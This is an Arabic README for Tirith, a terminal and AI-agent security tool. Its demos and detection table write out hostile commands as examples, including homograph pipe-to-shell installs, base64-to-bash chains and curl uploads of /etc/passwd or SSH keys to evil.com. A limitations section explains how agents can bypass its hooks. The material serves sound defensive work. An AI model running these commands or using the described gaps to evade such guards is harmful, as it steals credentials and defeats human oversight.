
أمان الطرفية للمطورين وعملاء الذكاء الاصطناعي. يعترض عناوين URL المتجانسة (homograph)، والأنابيب إلى الشل (pipe-to-shell)، وحقن ANSI، والحمولات المشوشة، وتسريب البيانات، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة قبل تنفيذها.
متصفحك سيلتقط هذا. طرفيتك لن تفعل.
الموقع الإلكتروني | التوثيق | SKILL.md | سجل التغييرات | الإصدارات
مشروع مفتوح المصدر مستقل، مع استضافة مدعومة من برنامج Vercel للمصادر المفتوحة (دفعة ربيع 2026).
هل يمكنك ملاحظة الفرق؟``` curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
لا يمكنك. ولا حتى طرفيتك. كلا حرفي `і` هما سيريليان (U+0456)، وليسا `i` اللاتيني. عنوان URL الثاني يُحلّ إلى خادم المهاجم. يُنفَّذ السكربت قبل أن تلاحظ.
حلّت المتصفحات هذه المشكلة منذ سنوات. لا تزال الطرفيات تعرض Unicode و ANSI escapes والأحرف غير المرئية دون سؤال. تشغّل وكلاء الذكاء الاصطناعي أوامر shell وتثبّت الحزم دون فحص ما بداخلها.
**يقف Tirith عند البوابة.** يعترض الأوامر والمحتوى الملصق والملفات الممسوحة بحثًا عن عناوين URL المتشابهة، والحمولات المُموّهة، وتسريب بيانات الاعتماد، ومهارات/إعدادات الذكاء الاصطناعي الخبيثة، والحزم/النطاقات/عناوين IP المعروفة بالضرر من قاعدة بيانات استخبارات تهديدات موقّعة قبل تنفيذها.```bash
brew install tirith
ثم فعّلها في ملف تعريف الصدفة الخاص بك:```bash
eval "$(tirith init --shell zsh)"
eval "$(tirith init --shell bash)"
tirith init --shell fish | source
> [!TIP]
> `eval "$(tirith init)"` يكتشف تلقائيًا الصدفة الحالية لديك (يفحص العملية الأصلية ويرجع إلى `$SHELL` إذا لزم الأمر). لا تكون راية `--shell` الصريحة مطلوبة إلا عندما تريد تجاوز الكشف.
هذا كل ما يتعلق بتغطية الصدفة التفاعلية. يتم فحص الأوامر المقبولة من تلك الصدفة أثناء تحميل الخطاف وسلامته؛ يعتمد سلوك الحظر الدقيق على الصدفة والوضع. شغّل `tirith doctor` بعد التثبيت والترقيات، واقرأ [enforcement by shell](#enforcement-by-shell) قبل التعامل مع الخطاف كحدود للتفويض. تبقى الأوامر النظيفة صامتة وتسلك عادةً المسار السريع.
متاح أيضًا عبر [npm](#cross-platform)، و[cargo](#cross-platform)، و[mise](#cross-platform)، و[apt/dnf](#linux-packages)، و[المزيد](#install).
---
## شاهدها أثناء العمل
**هجوم التماثل الرسومي، محظور قبل التنفيذ:**```
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
الأمر لا يُنفَّذ أبدًا.
التمرير إلى shell عبر رابط نظيف، مع تحذير، دون حظر:``` $ curl -fsSL https://get.docker.com | sh
tirith: WARNING [MEDIUM] pipe_to_interpreter, Download piped to interpreter Consider downloading first and reviewing.
تحذير يُطبع إلى stderr. الأمر لا يزال يعمل.
**سلسلة فك ترميز Base64 والتنفيذ، محظورة:**```
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
يكتشف سلاسل فك التشفير عبر أغلفة sudo/env و PowerShell -EncodedCommand أيضًا.
تسريب بيانات الاعتماد، محظور:``` $ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED [HIGH] data_exfiltration, Data exfiltration via curl upload curl command uploads sensitive data to a remote server
يغطي جميع علامات الرفع الخاصة بـ curl/wget، ومتغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، واستبدال الأوامر.
**ملف مهارة خبيث، تم اكتشافه عند الفحص:**```
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
يفحص ملفات JS/Python بحثًا عن الحمولات المُبهمة، وتنفيذ التعليمات البرمجية الديناميكي، وأنماط تسريب الأسرار.
أوامر عادية، غير مرئية:``` $ git status $ ls -la $ docker compose up -d
لا شيء. صفر مخرجات. أنت تنسى أن tirith يعمل.
---
## ما الذي يكتشفه
**244 قاعدة كشف عبر 35 فئة.**
| الفئة | ما الذي توقفه |
|----------|--------------|
| **هجمات التشابه الرسومي (Homograph)** | أحرف سيريلية/يونانية متشابهة في أسماء المضيفين، نطاقات punycode، تسميات مختلطة النصوص، نطاقات TLD متشابهة، نطاقات مربكة، كشف التشابه على مستوى النص (أحرف أبجدية رقمية رياضية، كلمة واحدة بنصوص مختلطة) |
| **حقن الطرفية** | تسلسلات الهروب ANSI، تجاوزات bidi، أحرف صفرية العرض، وسوم يونيكود، معاملات رياضية غير مرئية، محددات التنويع، حشوات الهانغول |
| **الدفاع ضد الإخفاء (Steganography)** | ترميز المسافات غير المرئية (12 نوعاً من مسافات يونيكود)، فاصل حروف العلة المنغولي، أحرف حشو الهانغول، استبدال أبجدي رقمي رياضي، دفاعات ضد الإخفاء النصي بأسلوب st3gg |
| **الأنبوب إلى الصدفة (Pipe-to-shell)** | `curl \| bash`، `wget \| sh`، `httpie \| sh`، `xh \| sh`، `python <(curl ...)`، `eval $(wget ...)`، بالإضافة إلى العديد من مسارات الأغلفة وفك الترميز والتحويل غير المباشر |
| **فك ترميز Base64 والتنفيذ** | `base64 -d \| bash`، `python -c "exec(b64decode(...))"`، `powershell -EncodedCommand`، سلاسل فك الترميز عبر أغلفة sudo/env |
| **تسريب البيانات** | `curl -d @/etc/passwd`، `curl -T ~/.ssh/id_rsa`، `wget --post-file`، رفع متغيرات البيئة (`$AWS_SECRET_ACCESS_KEY`)، تسريب عبر استبدال الأوامر |
| **فحص ملفات الكود** | الحمولات المُبهمة (`eval(atob(...))`)، تنفيذ الكود الديناميكي (`exec(b64decode(...))`)، تسريب الأسرار عبر `fetch`/`requests.post` في ملفات JS/Python |
| **كشف بيانات الاعتماد** | مفاتيح AWS، رموز GitHub PAT، رموز Stripe/Slack/SendGrid/Anthropic/GCP/npm، كتل المفاتيح الخاصة، بالإضافة إلى كشف الأسرار العامة القائم على الإنتروبيا |
| **سلوك ما بعد الاختراق** | استخراج ذاكرة العمليات (`/proc/*/mem`)، تصعيد الصلاحيات عن بُعد في Docker، مسح ملفات بيانات الاعتماد، معايرة ضد أدوات ما بعد الاختراق TeamPCP و UNC1069 |
| **أمان الأوامر** | الكتابة فوق ملفات dotfile، استخراج الأرشيف إلى مسارات حساسة، الوصول إلى نقطة نهاية البيانات الوصفية السحابية، الوصول إلى الشبكة الخاصة |
| **النقل غير الآمن** | HTTP عادي موصول إلى الصدفة، `curl -k`، تعطيل التحقق من TLS، روابط مختصرة تخفي الوجهات |
| **البيئة** | اختطاف الوكيل (Proxy)، تصدير متغيرات بيئة حساسة، حقن الكود عبر البيئة، اختطاف المفسر، حقن الصدفة عبر البيئة |
| **أمان ملفات التكوين** | حقن التكوين، مؤشرات مشبوهة، يونيكود غير ASCII/غير مرئي في التكوينات، أمان خادم MCP (غير آمن/غير موثوق/مكرر/متساهل) |
| **تهديدات المنظومة** | typosquats في git clone، سجلات Docker غير الموثوقة، تثبيتات pip/npm عبر URL، نقاط نهاية web3 RPC، vet-not-configured |
| **أمان أوامر التثبيت** | مستودعات APT المضافة من تنزيل موصول، `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (فحوصات التوقيع المعطلة)، `kubectl apply -f` ضد بيانات وصفية عن بُعد خام/مختصرة، مخططات Helm من مستودعات غير موثوقة، وحدات Terraform من مصادر عن بُعد غير موثوقة، `brew install`/`tap` من عناوين URL عشوائية |
| **تحليل المسارات** | مسارات غير ASCII، أحرف متشابهة في المسارات، ترميز مزدوج |
| **المحتوى المعروض** | محتوى CSS/الألوان المخفي، سمات HTML المخفية، تحليل محتوى التعليقات (حقن الأوامر عند High، أوامر مدمرة عند Medium) |
| **كشف التمويه (Cloaking)** | التمويه من جانب الخادم (بوت مقابل متصفح)، محتوى الحافظة المخفي، النص المخفي في PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`، استثناءات Windows Defender (`Add-MpPreference -Exclusion*`)، تنزيل وتنفيذ مضمّن `iex (iwr ...)` |
| **الدفاع ضد مخرجات الطرفية** | كتابات الحافظة OSC 52، المطالبات المزيفة، التلاعب بالارتباط التشعبي OSC 8 والعنوان/مسح الشاشة، حقن الأوامر داخل مخرجات الأوامر أو أدوات MCP (يُفحص خاماً ومفكوك التمويه، لذا يتم اكتشاف تجاوزات الأحرف غير المرئية والمتشابهة والمتباعدة و leetspeak و base64 / hex القصيرة أيضاً)، وتسريب بيانات المخرجات (عناوين URL للإشارة أو توجيهات "اقرأ سراً ثم أرسله") |
| **السياق التشغيلي** | أوامر مدمرة ضد سياقات السحابة / k8s المُوسومة بالإنتاج ومضيفي SSH، `apply` في Terraform / Pulumi / OpenTofu بدون خطة محفوظة مطابقة، تصعيد sudo محفوف بالمخاطر، `docker run` بصلاحيات مميزة |
| **محطة العمل والاستمرارية** | ملفات بيانات الاعتماد بأذونات متساهلة والرموز النصية الصريحة (`~/.ssh`، `~/.aws`، `.npmrc`)، مواطئ الاستمرارية (shell rc، `authorized_keys`، crontab، LaunchAgents، git `core.hooksPath`)، ترتيب اختطاف PATH، مصدر الملفات التنفيذية، الأسماء المستعارة المحفوفة بالمخاطر، ودورة حياة متغيرات البيئة الحساسة |
| **نطاق التأثير والارتباط** | عمليات الحذف التي تتجاوز المستودع، عمليات الحذف الجماعي، تنفيذ ملفات تم تنزيلها من مصادر محفوفة بالمخاطر، وسلاسل الجلسات مثل كتابة سر ثم شبكة أو حذف ثم `git push --force` |
| **الثقة والتوثيق والمصدر** | عدم تطابق بطاقة الأوامر الموقعة، لمسات canary honeytoken، عدم تطابق مضيف مصدر اللصق، رفض سياسة أصل المستدعي (الوكيل)، انحراف قفل MCP، وانحراف تكوين الذكاء الاصطناعي مقابل لقطة معروفة آمنة |
| **حارس أوامر Web3** | الكتابات على السلسلة من أوامر Cast / Forge / Hardhat / Solana / Anchor (High عندما يعطل نفس الأمر أيضاً ضابط أمان معلن)، مواد المفتاح الخاص الخام أو زوج المفاتيح أو العبارة التذكارية على سطر الأوامر، ونقطة نهاية RPC أو موقّع لا تثق به سياسة `web3_guard` الخاصة بالمشغل. القواعد والسياسة فقط: لا تُقرأ حالة السلسلة، ولا تُحاكى معاملة، ولا يُقيَّم أي عنوان |
| **تسريب المحفظة** | مواد المحفظة المراجعة، ومخزن المفاتيح، ومحفظة المتصفح، وزوج مفاتيح Solana المتدفقة إلى مصرف بعيد مُثبت، بما في ذلك مراحل التجهيز عبر الأرشيف و base64 و hex والضاغط والمشفّر وترقية معاملات `xargs` / `find -exec`. القراءة من المصدر فقط ليست اكتشافاً عن قصد |
| **تسميم مخرجات CI** | سير عمل يمكن الوصول إليه من fork يقوم برفع مخرج بناء، يستهلكه سير عمل `workflow_run` بصلاحيات مميزة مرتبط بالتشغيل المُشغِّل الذي ينفذه أو يستورده أو يعدل PATH له أو ينشره أو ينشره |
---
## ما لا يحمي منه tirith
يحلل Tirith **بنية** الأوامر والنص الملصق والملفات قبل
تنفيذها. إنه بوابة ما قبل التنفيذ، وليس دفاعاً وقت التشغيل، ولا يغطي:
- **العزل العام وقت التشغيل:** خطافات الصدفة العادية و `tirith check` تحذر
أو تحظر؛ لكنها لا تعزل الأمر بعد الإطلاق. مسارات
`capsule run --preset untrusted-project` الصريحة وفرض `pkg install`
توفر احتواءً مغلقاً عند الفشل فقط على مضيفي Linux x86_64 المدعومين.
- **مراقبة الشبكة بعد التنفيذ:** ما تفعله العملية على الشبكة بعد
الإطلاق خارج النطاق.
- **كشف البرمجيات الخبيثة / الحمولات العامة:** tirith ليس مضاد فيروسات ولا
يفجّر حمولة. يحلل البنية ويمكنه مطابقة مؤشرات دقيقة
وتجزئات القطع الأثرية/الملفات من قاعدة التهديدات الموقعة، لكن حمولة
غير معروفة لا تُثبت أنها حميدة بغياب التطابق. (`tirith run` يفحص
بنية سكريبت تم تنزيله؛ لكنه لا يزال ليس تحليلاً ديناميكياً للبرمجيات الخبيثة.)
- **مهاجم بصلاحيات root/admin مميزة:** أي شخص هو بالفعل root أو admin يمكنه تجاوز
tirith بسهولة. إنه يدافع ضد المدخلات المخادعة، وليس ضد مهاجم يملك
الجهاز بالفعل.
- **مكافحة التنقيح / مكافحة التلاعب:** tirith لا يقاوم الهندسة العكسية
ولا يحمي ملفه التنفيذي من مهاجم محلي.
- **التحليل على السلسلة:** حارس Web3 يقرأ قواعد الأوامر. لا يقرأ
حالة السلسلة، ولا يحاكي معاملة، ولا يحل ENS، ولا يقيّم عنواناً، ولا يدقق في
عقد، ولا يراقب mempool.
- **جدار حماية لقطع npm الأثرية:** tirith يحلل قواعد أوامر npm وحقائق
هوية السجل، ويمكنه سؤال npm الخاص بالمشروع عن توقيعه
وحالة مصدره. لا يقوم بتنزيل أو استخراج أو حجر أو ربط
بايتات tarball التي يثبتها npm. جدار الحماية المحتوى والمثبت بالتجزئة
للقطع الأثرية هو Python فقط.
- **التحقيق الجنائي أو المراقبة في المتصفح:** `tirith browser audit` هو تدقيق
صريح، لمرة واحدة، للقراءة فقط لسلامة أشجار مصدر الإضافات. لا يقرأ
أبداً ملفات تعريف الارتباط أو السجل أو كلمات المرور المحفوظة أو التخزين أو قواعد بيانات المحفظة أو `Local
State`، ولا يزيل أو يحجر أي شيء أبداً، وليس لديه خادم خفي.
- **البنيات القابلة للتكرار:** إيصال `attest` يسجل ما احتوته شجرتان
في لحظة واحدة. Tirith لا يشغل بنيتك ولا يمكنه القول إن المخرج جاء
من المصدر. إيصال النشر هو قياس لحظي، وليس مراقبة مستمرة.
راجع [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) لنموذج التهديد الكامل و
الأهداف غير المعلنة صراحةً، و
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) لسجل
قدرة بقدرة لما يكتشفه tirith ويقرره ويفرضه ويحتويه ويوثقه.
---
## القيود المعروفة
- **هشاشة خطاف الصدفة:** تعتمد الحماية على بقاء خطاف الصدفة مثبتاً
ونشطاً. يمكن أن تتعطل الخطافات أو تتدهور بصمت عبر الصدفات وإصدارات الصدفة
وأطر المطالبات وأدوات السجل. شغّل `tirith doctor` للتحقق من الحالة الحية
وراقب التدهور إلى التحذير فقط.
- **تخزين مؤقت ممتلئ أو للقراءة فقط:** يلتقط zsh و fish المدخلات عبر
ملف مؤقت قبل استدعاء Tirith ويفشلان مغلقين عندما لا يمكن
إنشاء ذلك الملف. لذلك يمكن أن يرفض `TMPDIR` ممتلئ/للقراءة فقط كل أمر، و
لا يمكن لـ `TIRITH=0` التعافي لأن الملف التنفيذي لا يُوصل إليه أبداً. اتبع
خطوات التعافي في [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **ميزات محدودة بالمنصة:** وضع الخادم الخفي، و `tirith run`، و `tirith fetch`
هي أسطح Unix. يبقى `tirith run --no-exec` سير عمل فحص
هناك، لكن تنفيذ السكريبت البعيد الحي هو Linux فقط ويرفض قبل
التنزيل على كل مضيف آخر. `tirith setup` متعدد المنصات، بينما كل
تكامل مضيف له عقد منصته الخاص (على سبيل المثال Cline لديه أغلفة POSIX
و Windows؛ خطاف الحظر في OpenHands هو Unix فقط).
- **نطاق استخراج أسماء الحزم:** يغطي منظومات اللغات (pip،
npm/yarn/pnpm/bun، cargo، gem، go، composer، dotnet، mvn/gradle)، وليس مديري
حزم التوزيعات (`apt`، `dnf`، `yum`، `pacman`).
- **تحذيرات وكيل الذكاء الاصطناعي:** اعتراض خطاف الصدفة يحمي فقط الأوامر التي تمر
عبر صدفة تفاعلية موصولة بخطاف. الوكيل الذي ينشئ
صدفة غير تفاعلية، أو يستدعي `exec` مباشرة، أو يعمل بدون تحميل الخطاف غير مغطى
بتلك الطبقة. تسجيل MCP تعاوني ما لم تُوجَّه الاستدعاءات
عبر البوابة. يمكن لخطاف ما قبل الأداة المدعوم أن يحجب تلقائياً
أمر مضيف، لكن فقط عندما يحمّله ذلك المضيف ويحترمه؛ عدة مضيفين
يفشلون مفتوحين عندما يخطئ عملية الخطاف. تحقق من المضيف الفعلي، وليس فقط من
وجود ملف تكوين.
- **سلوك فشل خطاف المضيف:** يسمح Grok Build و Cline و OpenHands
بالأداة عندما تتعطل عملية الخطاف أو تنتهي مهلتها. محول Tirith يرفض عند
أخطائه الخاصة افتراضياً، لكنه لا يمكنه جعل مضيف يحترم عملية لم
تُرجع نتيجة. أعد تشغيل الإعداد إذا انتقل مفسر مثبت واختبر المضيف الحقيقي
بعد كل ترقية.
- **Prime Agent IPython هو استخراج على مستوى المصدر:** يغطي الحارس هروب
الصدفة/السحر وأشكال `os` و `subprocess` و `pty.spawn` الشائعة، لكنه
ليس صندوق رمل لبيئة تشغيل Python. غلاف مُعرَّف في خلية سابقة،
أو انعكاس مثل `getattr`/`__import__`، أو حزمة طرف ثالث
تنشئ عملية يمكنها الهروب مما يمكن لمحلل المصدر إثباته.
- **DLP المخصص ومخرجات الآلة:** يمكن أن تعيد `dlp_custom_patterns` الواسعة حالياً
كتابة قيم نصية مملوكة للبروتوكول في إسقاطات JSON/MCP المحجوبة بشكل متكرر،
بما في ذلك المعرفات المولدة أو بيانات الإيصال الوصفية. تجنب
الأنماط التي يمكن أن تطابق القيم البنيوية عند استهلاك مخرجات موقعة أو
مستقرة للآلة؛ يحتاج هذا إلى حجب واعٍ بالحقول قبل الإصدار.
- **موافقة التثبيت غير المراقب:** يُقبل `tirith install --yes` كقناة
`require_approval` غير المراقبة لبوابة مهمة مدير الحزم. إنه
علم مشغل صريح، وليس دليلاً على تأكيد بشري عبر TTY. استخدم سياسة مهمة
حاجبة حيث يجب أن يكون التنفيذ غير المراقب مستحيلاً.
- **ربط MCP المفسَّر:** ربط الخادم المفسَّر الدقيق يجزئ
شجرة المستودع تحت حدود ثابتة بدلاً من اكتشاف إغلاق تبعية حقيقي، لذا
الأشجار الكبيرة أو الروابط الرمزية أو الملفات الخاصة يمكن أن ترفض الإطلاق. إنه
يعيد التحقق قبل التشغيل لكنه لا ينفذ مدخلات المفسر من واصفات
مراجعة مختومة؛ التعديل المتزامن من نفس المستخدم يبقى فجوة تحقق-إلى-تحميل.
- **تغطية بوابة المهام:** استنتاج تأثير المهمة ينمذج قواعد صدفة Web3
ولا شيء آخر، لذا يُبلَّغ عن كل أمر SHELL عادي تقريباً
كـ INCOMPLETE. `task_gate.mode: enforce` مع `action_incomplete_analysis: block`
يرفض تلك عند الحدود الخمسة التي ترسل
غلاف صدفة، ولا يغير شيئاً عند حدود الحزم وكتابة التكوين الأربعة،
التي تُقيَّم دائماً كمكتملة. `warn` هو الافتراضي. البديل،
`effects_denied_for_untrusted_sources`، ينكر التأثير المسمى عند كل استدعاء
عند كل حد مملوك، بما في ذلك الأوامر التي كتبتها بنفسك، لأنه لا
يُعامل أي مصدر عند تلك الحدود كموثوق أبداً.
- **الاحتواء هو Linux x86_64:** `tirith capsule run --preset
untrusted-project` وفرض `tirith pkg install` قابلان للفرض فقط على
Linux x86_64 مع ABI Landlock قابل للاستخدام. كل مضيف آخر يرفض قبل
نسخ أو إنشاء أي شيء، بدون تراجع متدهور. القائمة المسموح بها للنطاقات
غير مقدمة من أي خلفية.
- **فجوة تسريب الصدفة المتداخلة:** قراءة حساسة داخل جسم صدفة متداخل
مصرفه خارجها، مثل `bash -c "cat <wallet>" | curl -d @- <url>`،
غير مترابطة اليوم. نفس السلسلة بالكامل داخل أو بالكامل خارج
جسم `-c` يتم اكتشافها.
- **درجات دليل التنفيذ:** يُؤكَّد إطلاق Linux فقط بعد اكتمال
انتقال `exec` الموقوف، وتحديث الحالة الدائمة، والاستئناف المصرح به،
وإثبات المشغل الطرفي. يُؤكَّد استدعاء البوابة فقط بنتيجة
مترابطة دقيقة. تبقى ملاحظات الصدفة واستدعاءات البوابة المُمرَّرة التي
تنتهي مهلتها أو تُلغى دليلاً غير محلول محافظاً، وليست تنفيذاً
مؤكداً أبداً. إيصالات الصدفة الصارمة متاحة لـ bash و zsh و fish التفاعلية؛
يبقى PowerShell للفحص المسبق فقط. يجب التحقق من سلوك مشغل Linux الأصلي
بواسطة CI على Linux أو مضيف Linux أصلي؛ لا تغطية المصدر/الوحدة المحمولة
ولا بناء macOS يمكن أن يحل محله.
- **فجوات تغطية Web3:** `forge create` لم يُنمذج بعد على أسطح المحرك؛
عدة حقول `web3_guard` معلنة يتم تحليلها لكن لا يتم فرضها؛ و
ارتباطات بطاقة الأوامر Web3 بمخطط 2 ليس لديها بعد مسار تأليف CLI أو
استهلاك حي للمحرك. تعامل مع هذه كفجوات معروفة، وليس تفويضاً صامتاً.
---
## استخبارات التهديدات
يشحن Tirith قاعدة بيانات تهديدات محلية موقعة لسمعة الحزم وأسماء المضيفين وعناوين IP. عندما يرى خطاف صدفة أو `tirith check` تثبيت حزمة أو إشارة بنية تحتية مشبوهة، فإنه يطابق ذلك المدخل مقابل قاعدة البيانات قبل تنفيذ الأمر، بدلاً من الاعتماد فقط على الاستدلالات الثابتة.
**قاعدة بيانات موقعة** (مبنية بواسطة CI، يتم التحقق منها عند التنزيل والتحميل):
- حزم خبيثة معروفة من [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) و [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- بنية تحتية لعناوين IP خبيثة من [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- typosquats مؤكدة وخطوط أساس للحزم الشائعة من [ecosyste.ms](https://ecosyste.ms/)
- كتالوج [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) لربط الاستشارات وقت التشغيل
يضيف ThreatDB v2 قيم SHA-256 الدقيقة للقطع الأثرية، وتجزئات الملفات المثبتة،
وعناوين URL الخبيثة، وعضوية الحملات، ووسوم السلوك. الفهرس الموقع،
والمحدّث، والمترجم، والمحمّل يدعمون v1 و v2 خلال الانتقال المرحلي،
ويرفضون تراجع التسلسل، وينشرون بشكل معاملاتي، ويحتفظون بقاعدة بيانات
آخر-معروف-جيد موقعة عندما يكون التحديث غير مكتمل أو غير صالح. مصدر
DigitalSide مُنفَّذ لكنه غير نشط عن قصد حتى تتم الموافقة على
حداثته وعقد تشغيله.
**تغذيات تكميلية اختيارية** (طبقة محلية للمستخدم):
- [URLhaus](https://urlhaus.abuse.ch/) و [ThreatFox](https://threatfox.abuse.ch/) عبر مفتاح مصادقة abuse.ch
- قوائم حظر [PhishTank](https://phishtank.org/) (Cisco Talos) و [Phishing Army](https://phishing.army/)
- قائمة عقد خروج Tor من [Tor Project](https://www.torproject.org/)
**إثراء حي اختياري** خلال `tirith check` ووضع الخادم الخفي:
- عمليات بحث استشارية [OSV.dev](https://osv.dev/) (Google OSS)
- إشارات صحة الحزم [deps.dev](https://deps.dev/) (Google OSS) وبيانات المشرفين [ecosyste.ms](https://ecosyste.ms/)
- سمعة عناوين URL من [Google Safe Browsing](https://safebrowsing.google.com/) بمفتاح API الخاص بك```bash
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
افتراضيًا، تُشغّل خطافات shell وtirith check فحص تحديث خلفي منخفض التكلفة كل 24 ساعة. يُبقي وضع الخدمة الخلفية (daemon) مسار الإثراء نفسه جاهزًا في الخلفية.
يقبل threat-db explain نطاقًا، أو اسم حزمة (name، أو ecosystem:name، أو name@version)، أو عنوان IPv4. لا يحتفظ الملف التنفيذي بأي سجل لكل إدخال، لذا يُبلّغ threat-db diff عن فروقات الفئة وعدد المصادر لكل مصدر بين اللقطات، وليس الإدخالات المتغيّرة بدقة. يأخذ كل أمر من أوامر threat-db الخيار --format json؛ وthreatdb اسم مستعار.
يقيّم tirith package risk <ecosystem> <name> مخاطر سلسلة التوريد / المشرفين لحزمة ما بالطريقة التي يقيّم بها tirith score عنوان URL، وهو مجموع حتمي وقابل للتفسير بالكامل من عوامل مُسمّاة، دون نموذج ودون أوزان مُتعلَّمة. يضيف tirith package explain <ecosystem> <name> الاشتقاق عاملًا بعامل؛ وكلاهما يأخذ --format json.```bash
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
**غير متصل افتراضيًا.** بدون أي أعلام، تكون كل إشارة محلية، دون أي استدعاء شبكي: (1) **الاسم مقابل الحزم الشائعة**: معروف الشهرة، أو غير معروف، أو قريب بتحرير واحد من اسم شائع (الشكل الكلاسيكي لانتحال الأسماء المطبعي/الانتحال الانزلاقي)، من مجموعة `popular` في قاعدة بيانات التهديدات المحلية؛ (2) **انتحال مطبعي خبيث معروف**: تطابق تام في فهرس `typosquat` بقاعدة بيانات التهديدات؛ (3) **نصوص التثبيت / دورة الحياة** و(4) **كتل ثنائية مضمّنة**، تُكتشف فقط عندما يكون محتوى الحزمة متاحًا محليًا (تحت `node_modules` / `site-packages`، أو عبر `--path`). tirith **لا يقوم أبدًا بتنزيل** الحزمة.
**`--online` يضيف مصدر السجل.** يستشير سجل الحزمة (npm أو PyPI أو crates.io) لستة عوامل إضافية في *نفس* نموذج مجموع العوامل: عمر الحزمة/الإصدار، حزمة راسخة بلا مالكين، ارتفاع غير طبيعي في الإصدار، تنزيلات منخفضة جدًا، مستودع مصدر مفقود، وحالة مسحوبة/مهملة. وهو المسار الوحيد الذي يصل فيه `package risk` نفسه إلى الشبكة؛ أما `tirith check` ووضع الخادم فلديهما مسار إثراء وقت تشغيل منفصل يخضع للسياسة. `--offline` / `TIRITH_OFFLINE` يفرضان بقاء هذا المُقيِّم غير متصل بغض النظر عن ذلك. تفشل المحاولات بالرجوع إلى النتيجة غير المتصلة مع `api signals: unavailable` الصادق، وتُخزَّن الاستجابات مؤقتًا مع TTL حتى لا تُثقل التشغيلات المتكررة السجلات.
النتيجة استشارية ومستقلة: `package risk` ليس قاعدة كشف ولا يغيّر أي حكم أو رمز خروج أو سجل تدقيق.
### فحص النظام البيئي ومخاطر التبعيات
`tirith ecosystem scan [path]` هو الرفيق على مستوى الدليل لـ `package risk`. يمشي عبر مشروع، ويكتشف كل بيان تبعيات يفهمه، npm (`package.json`، `package-lock.json`)، Python (`requirements*.txt`، `pyproject.toml`)، Rust (`Cargo.toml`)، Go (`go.mod`)، Ruby (`Gemfile`)، ويقيّم **كل تبعية معلنة** بنفس محرك العوامل الحتمي `package_risk`.```bash
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
يتضمن الكشف عن slopsquat. Slopsquatting هو تسجيل اسم معقول لكنه مزيف يميل نماذج اللغة الكبيرة إلى هلوسة كاعتماد. ecosystem scan يشير إلى واحد فقط عندما تتحقق الثلاثة جميعها: الاسم غير معروف كحقيقي أو شائع، وهو مشكّل مثل هلوسة ذكاء اصطناعي (بادئة لغة مثل python- / node- بالإضافة إلى رموز وصفية، أو كومة من الحشو العام مثل helper / utils / client، أو اسم طويل بشكل غير عادي)، و يقع بالقرب من اسم شائع حقيقي (خطأ بتحرير واحد قريب، أو يضمّن اسمًا شائعًا ككلمة). اشتراط الثلاثة جميعها يبقي الإيجابيات الكاذبة منخفضة: data-utils الصادق بدون مرساة شائعة لا يُطلق.
غير متصل افتراضيًا، --online اختياري. إشارات الاسم والانتحال النصي تأتي من قاعدة بيانات التهديدات المحلية؛ --online يضيف مصدر السجل، مقيّد ومُخفّض تمامًا كما في package risk --online. هذا العلم يتحكم في فحص النظام البيئي ولا يغيّر سياسة الإثراء وقت التشغيل المستقلة لـ tirith check. النتائج تتدفق عبر نموذج Verdict / Finding العادي لـ tirith: قابل للتفسير (tirith explain --rule threat_suspicious_package)، مسجّل في سجل التدقيق، ويحترم قائمة السماح الخاصة بالسياسة (حزمة مسموح بها، بالاسم المجرد أو ecosystem:name، يتم كتمها). رموز الخروج تطابق tirith scan: 1 لنتيجة حاجبة، 2 لاستشارية، 0 عند النظافة.
هذا يساعد في اكتشاف الحزم الخبيثة المعروفة، والانتحال النصي المؤكد، وأسماء الحزم slopsquatted، والبنية التحتية للتنزيل الخبيثة، والحزم التي تحتوي على بيانات استشارية حية من OSV / CISA KEV.
مخاطر اسم الحزمة هي طبقة واحدة فقط. يمكن لـ Tirith فحص بايتات Python الدقيقة التي لديك بالفعل، وعلى المضيفين المدعومين، فرض خطة تثبيت مثبتة بالتجزئة:```bash
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl tirith package inspect --artifact-set ./downloaded-wheels tirith package inspect --installed ./.venv
tirith pkg trust-tool /absolute/path/to/static-uv tirith pkg approve pip requests==2.31.0 --target .tirith-pkg tirith pkg install pip requests==2.31.0 --target .tirith-pkg tirith pkg verify-env --target .tirith-pkg requests
